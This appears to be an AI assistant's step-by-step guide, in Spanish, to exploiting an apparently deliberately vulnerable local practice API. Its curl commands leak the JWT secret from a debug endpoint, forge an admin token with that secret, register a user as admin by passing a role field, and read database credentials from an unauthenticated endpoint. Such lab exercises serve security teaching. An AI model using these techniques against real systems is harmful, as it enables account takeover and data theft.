🔍 Diagnóstico del Token

Paso 1: Verificar el Token

Primero vamos a analizar tu token actual:

bash
```
curl -X 'GET' \
  'http://127.0.0.1:8000/token-info' \
  -H 'Authorization: Bearer [TU_TOKEN_ACTUAL]'
```

Esto te dirá si el token es válido, si expiró, etc.

Paso 2: Usar Endpoint Vulnerable de Autenticación

Hay un endpoint que acepta **múltiples formatos** de autorización (vulnerabilidad):

bash
```
# Intenta sin "Bearer"
curl -X 'GET' \
  'http://127.0.0.1:8000/users/1' \
  -H 'Authorization: Token [TU_TOKEN]'

# O directamente el token
curl -X 'GET' \
  'http://127.0.0.1:8000/users/1' \
  -H 'Authorization: [TU_TOKEN]'
```

🚨 Paso 3: Crear Token Malicioso desde Cero

A. Primero obtén la clave JWT:

bash
```
curl -X 'GET' 'http://127.0.0.1:8000/debug'
```

B. Crear token completamente falso:

1. Ve a jwt.io
2. En el **HEADER**:

json
```
{
  "alg": "HS256",
  "typ": "JWT"
```

```
}
```

3. En el **PAYLOAD**:

```
json
{
  "sub": "admin",
  "user_id": 1,
  "role": "admin",
  "iat": 1722355200
}
```

4. En **VERIFY SIGNATURE**, pon: 123456
5. Copia el token generado

C. Probar con el token malicioso:

```
bash
curl -X 'GET' \
  'http://127.0.0.1:8000/users/1' \
  -H 'Authorization: Bearer [TOKEN_MALICIOSO]'
```

🔓 Paso 4: Bypass Alternativo - Registro como Admin

¡Aquí está una vulnerabilidad crítica! Puedes registrarte directamente como admin:

```
bash
curl -X 'POST' \
  'http://127.0.0.1:8000/register' \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "hacker1",
    "password": "hack123",
    "email": "hacker@evil.com",
    "role": "admin"
  }'
```

🚨 **VULNERABILIDAD CRÍTICA:** ¡La API acepta cualquier role en el registro!

Luego haz login con tu nuevo usuario admin:

```
bash
curl -X 'POST' \
  'http://127.0.0.1:8000/login' \
  -H 'Content-Type: application/json' \
  -d '{
```

```
  "username": "hacker1",
  "password": "hack123"
}'
```

🎯 Paso 5: Explotar Endpoints sin Autenticación

Algunos endpoints están completamente expuestos:

bash
```
# Información crítica del sistema
curl -X 'GET' 'http://127.0.0.1:8000/debug'

# Credenciales de base de datos
curl -X 'GET' 'http://127.0.0.1:8000/internal'

# Información general
curl -X 'GET' 'http://127.0.0.1:8000/'
```

🔧 Paso 6: Troubleshooting del Token Original

Si sigues teniendo problemas, verifica:

A. Token válido pero formato incorrecto:

bash
```
# Asegúrate de que no hay espacios extra
curl -X 'GET' \
  'http://127.0.0.1:8000/users/1' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'
```

B. Obtener token fresco:

bash
```
# Login otra vez
curl -X 'POST' \
  'http://127.0.0.1:8000/login' \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "user1",
    "password": "password123"
  }'
```

C. Usar el endpoint vulnerable que no valida expiración:

El endpoint `/users/{id}` usa `get_current_user_weak` que tiene validaciones más débiles.

📋 ¿Vulnerabilidades Encontradas?

1. **Token Expiration**:
2. **Format Issues**: La API acepta múltiples formatos?
3. **Weak Validation**: Algunos endpoints usan validación débil?
4. **Registration Bypass**: Puedes crear tu propio admin?